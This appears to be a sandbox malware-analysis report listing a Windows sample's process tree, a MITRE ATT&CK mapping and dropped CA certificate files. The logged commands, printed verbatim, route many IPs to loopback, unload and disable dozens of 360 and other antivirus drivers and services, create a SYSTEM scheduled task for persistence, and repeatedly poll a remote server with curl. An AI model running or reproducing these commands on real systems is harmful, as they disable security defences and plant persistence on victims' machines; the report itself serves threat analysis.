- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1904
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 43.230.72.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4484
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.124.78.109 255.255.255.255
  2⤵
  PID:5196
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 45.124.78.109
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 45.124.78.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2984
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.207.209.119 255.255.255.255
  2⤵
  PID:4808
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 45.207.209.119
  2⤵
  PID:1608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 45.207.209.119 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1704
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 47.242.204.9 255.255.255.255
  2⤵
  PID:4068
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 47.242.204.9
  2⤵
  PID:2424
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 47.242.204.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.74 255.255.255.255
  2⤵
  PID:5816
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 49.7.37.74
  2⤵
  PID:6000
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5452
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 49.7.37.74 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1148
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.75 255.255.255.255
  2⤵
  PID:5572
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 49.7.37.75
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 49.7.37.75 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:296
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 57.129.110.99 255.255.255.255
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 57.129.110.99
  2⤵
  PID:2260
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 57.129.110.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:260
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.130 255.255.255.255
  2⤵
  PID:2856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 94.154.43.130
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 94.154.43.130 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:208
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1504
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.8 255.255.255.255
  2⤵
  PID:3080
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4540
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 94.154.43.8
  2⤵
  PID:5536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5580
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 94.154.43.8 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3068
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
  2⤵
  PID:2616
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Box64
  2⤵
  PID:1152
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360FsFlt
  2⤵
  PID:1444
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360qpesv
  2⤵
  PID:4956
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AvFlt
  2⤵
  PID:2140
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload DsArk
  2⤵
  PID:1944
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1568
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor
  2⤵
  PID:2900
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor64
  2⤵
  PID:4392
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1848
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload BAPIDRV
  2⤵
  PID:2972
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2308
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload BAPIDRV64
  2⤵
  PID:3180
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  - Launches sc.exe
  PID:1620
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  - Launches sc.exe
  PID:596
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  - Launches sc.exe
  PID:3252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5684
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  - Launches sc.exe
  PID:2196
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop DsArk
  2⤵
  - Launches sc.exe
  PID:5952
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config DsArk start= disabled
  2⤵
  - Launches sc.exe
  PID:3400
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:456
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360FsFlt
  2⤵
  PID:3508
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
  2⤵
  PID:5744
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AvFlt
  2⤵
  - Launches sc.exe
  PID:5944
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
  2⤵
  PID:4744
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Box64
  2⤵
  - Launches sc.exe
  PID:3008
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
  2⤵
  PID:824
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiSteal
  2⤵
  PID:1136
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
  2⤵
  - Launches sc.exe
  PID:5652
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360qpesv
  2⤵
  PID:3140
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
  2⤵
  PID:708
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3500
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor
  2⤵
  PID:4320
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
  2⤵
  PID:1608
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor64
  2⤵
  - Launches sc.exe
  PID:4168
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1824
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor64 start= disabled
  2⤵
  PID:3312
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiAttack
  2⤵
  PID:4068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2476
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
  2⤵
  - Launches sc.exe
  PID:1836
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHacker
  2⤵
  - Launches sc.exe
  PID:3680
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
  2⤵
  PID:1424
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SelfProtection
  2⤵
  - Launches sc.exe
  PID:6112
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
  2⤵
  - Launches sc.exe
  PID:3512
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rp
  2⤵
  PID:5448
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rp start= disabled
  2⤵
  PID:1180
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHijack
  2⤵
  PID:5052
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
  2⤵
  - Launches sc.exe
  PID:5936
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiExploit
  2⤵
  - Launches sc.exe
  PID:296
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1844
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
  2⤵
  - Launches sc.exe
  PID:5828
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360netmon
  2⤵
  PID:2796
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4412
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360netmon start= disabled
  2⤵
  PID:4524
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Hvm
  2⤵
  - Launches sc.exe
  PID:2812
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
  2⤵
  - Launches sc.exe
  PID:2540
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Q360AMPPL
  2⤵
  PID:2492
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
  2⤵
  - Launches sc.exe
  PID:3044
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop dsmainsrv
  2⤵
  - Launches sc.exe
  PID:4472
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
  2⤵
  PID:3688
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4736
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360elam64
  2⤵
  PID:4052
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
  2⤵
  PID:2680
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360CactusNet
  2⤵
  - Launches sc.exe
  PID:4436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2604
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
  2⤵
  - Launches sc.exe
  PID:2772
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Camera
  2⤵
  PID:2724
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Camera start= disabled
  2⤵
  - Launches sc.exe
  PID:1444
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360sd
  2⤵
  PID:4704
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4520
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360sd start= disabled
  2⤵
  PID:5496
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHActiveDefense
  2⤵
  PID:4864
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHActiveDefense start= disabled
  2⤵
  PID:5980
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rps
  2⤵
  PID:3200
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rps start= disabled
  2⤵
  PID:4632
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QQProtect
  2⤵
  - Launches sc.exe
  PID:4612
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QQProtect start= disabled
  2⤵
  - Launches sc.exe
  PID:1160
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHSafeMain
  2⤵
  PID:3648
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4364
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHSafeMain start= disabled
  2⤵
  - Launches sc.exe
  PID:564
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360TotalSecurity
  2⤵
  - Launches sc.exe
  PID:5432
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360TotalSecurity start= disabled
  2⤵
  PID:5724
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SafeMain
  2⤵
  - Launches sc.exe
  PID:4176
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SafeMain start= disabled
  2⤵
  PID:1464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:844
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop BrowserProtect
  2⤵
  PID:2720
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config BrowserProtect start= disabled
  2⤵
  PID:1584
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360bpesvc
  2⤵
  - Launches sc.exe
  PID:5488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1232
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360bpesvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5248
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN YngDriverBootHeal /F
  2⤵
  PID:5200
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN YngDriverBootHeal /TR "C:\ProgramData\YngRuntime\boot-heal.cmd" /SC ONSTART /RU SYSTEM /RL HIGHEST /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3496
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 35 --connect-timeout 10 "https://www.56789tl.com/api/policy/wait?device_id=6f1b8d988c0ce9bc2a3345f33acfc137&version=78&timeout=20"
  2⤵
  PID:5840
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3724
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 35 --connect-timeout 10 "https://www.56789tl.com/api/policy/wait?device_id=6f1b8d988c0ce9bc2a3345f33acfc137&version=78&timeout=20"
  2⤵
  PID:2436
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  - Launches sc.exe
  PID:5192
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  - Launches sc.exe
  PID:6112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3088
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  PID:784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  - Launches sc.exe
  PID:4200
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop DsArk
  2⤵
  - Launches sc.exe
  PID:2964
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config DsArk start= disabled
  2⤵
  PID:2344
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360FsFlt
  2⤵
  PID:5216
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
  2⤵
  - Launches sc.exe
  PID:4192
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AvFlt
  2⤵
  PID:6040
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
  2⤵
  - Launches sc.exe
  PID:3036
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Box64
  2⤵
  - Launches sc.exe
  PID:1296
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
  2⤵
  PID:3560
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiSteal
  2⤵
  - Launches sc.exe
  PID:1816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5756
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
  2⤵
  PID:4772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4980
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360qpesv
  2⤵
  PID:5636
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
  2⤵
  PID:4348
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor
  2⤵
  PID:3080
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
  2⤵
  PID:4908
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor64
  2⤵
  - Launches sc.exe
  PID:424
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor64 start= disabled
  2⤵
  - Launches sc.exe
  PID:840
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiAttack
  2⤵
  - Launches sc.exe
  PID:1992
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
  2⤵
  - Launches sc.exe
  PID:4280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4844
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHacker
  2⤵
  PID:3120
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
  2⤵
  PID:2848
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SelfProtection
  2⤵
  - Launches sc.exe
  PID:2348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2916
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
  2⤵
  - Launches sc.exe
  PID:4920
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rp
  2⤵
  - Launches sc.exe
  PID:2076
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rp start= disabled
  2⤵
  PID:2920
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1848
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHijack
  2⤵
  - Launches sc.exe
  PID:2972
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
  2⤵
  - Launches sc.exe
  PID:4080
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiExploit
  2⤵
  PID:5780
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
  2⤵
  - Launches sc.exe
  PID:4380
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360netmon
  2⤵
  PID:4064
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360netmon start= disabled
  2⤵
  PID:564
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Hvm
  2⤵
  - Launches sc.exe
  PID:5432
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
  2⤵
  - Launches sc.exe
  PID:2976
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Q360AMPPL
  2⤵
  - Launches sc.exe
  PID:456
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
  2⤵
  PID:4304
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop dsmainsrv
  2⤵
  - Launches sc.exe
  PID:5868
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
  2⤵
  PID:1904
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360elam64
  2⤵
  - Launches sc.exe
  PID:5488
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
  2⤵
  - Launches sc.exe
  PID:5808
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360CactusNet
  2⤵
  PID:1136
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
  2⤵
  PID:4556
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1604
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Camera
  2⤵
  PID:2192
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5608
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Camera start= disabled
  2⤵
  - Launches sc.exe
  PID:4592
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360sd
  2⤵
  PID:2392
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360sd start= disabled
  2⤵
  PID:5148
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHActiveDefense
  2⤵
  PID:1936
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHActiveDefense start= disabled
  2⤵
  - Launches sc.exe
  PID:2164
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rps
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rps start= disabled
  2⤵
  - Launches sc.exe
  PID:5600
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6056
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QQProtect
  2⤵
  PID:6112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5452
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QQProtect start= disabled
  2⤵
  - Launches sc.exe
  PID:784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHSafeMain
  2⤵
  - Launches sc.exe
  PID:1100
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHSafeMain start= disabled
  2⤵
  PID:5832
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360TotalSecurity
  2⤵
  PID:2344
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360TotalSecurity start= disabled
  2⤵
  - Launches sc.exe
  PID:5216
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SafeMain
  2⤵
  PID:1388
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SafeMain start= disabled
  2⤵
  - Launches sc.exe
  PID:2072
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop BrowserProtect
  2⤵
  PID:4412
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5972
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config BrowserProtect start= disabled
  2⤵
  - Launches sc.exe
  PID:4524
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360bpesvc
  2⤵
  PID:2812
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360bpesvc start= disabled
  2⤵
  PID:6116
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 35 --connect-timeout 10 "https://www.56789tl.com/api/policy/wait?device_id=6f1b8d988c0ce9bc2a3345f33acfc137&version=78&timeout=20"
  2⤵
  PID:5920

C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
"C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe" --rival-boot-heal
1⤵
PID:5984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

ca.crt.pem.tmp

Path C:\ProgramData\YngRuntime\backup\ca.crt.pem.tmp
Size 1KB
SHA256 c0f21d6d5fd9786d764332ad3cba17e475973ff010caf5116ea43495fc3bd9ec
MD5 1e7be881af4154118294a568cfd920e2
SHA1 d25b2f8f79879810c838f5da02b3a73f000e962f
SHA512 89431f9a0e1211e277162550b269a470489b9d340557b11c3b24d29bcabfddca08b39391df0196902e4af30abce4f69bbd6f3915c97fb7c4b79d149b215503e7
TLSH
T13421CAC595203C2C0EFDD39AB495D35E52F3D1A40FCA60A94B9A1454D72405D02AC904
MD5 SHA1 SHA512 TLSH

Submit Download

ca.key.pem.tmp

Path C:\ProgramData\YngRuntime\backup\ca.key.pem.tmp
Size 1KB
SHA256 3c49a662505321bf0e0445c3efa61da2cd173fcc8f5c260324183c3626b22303
MD5 295dd0cf71637a14cb78ddfa416a437c
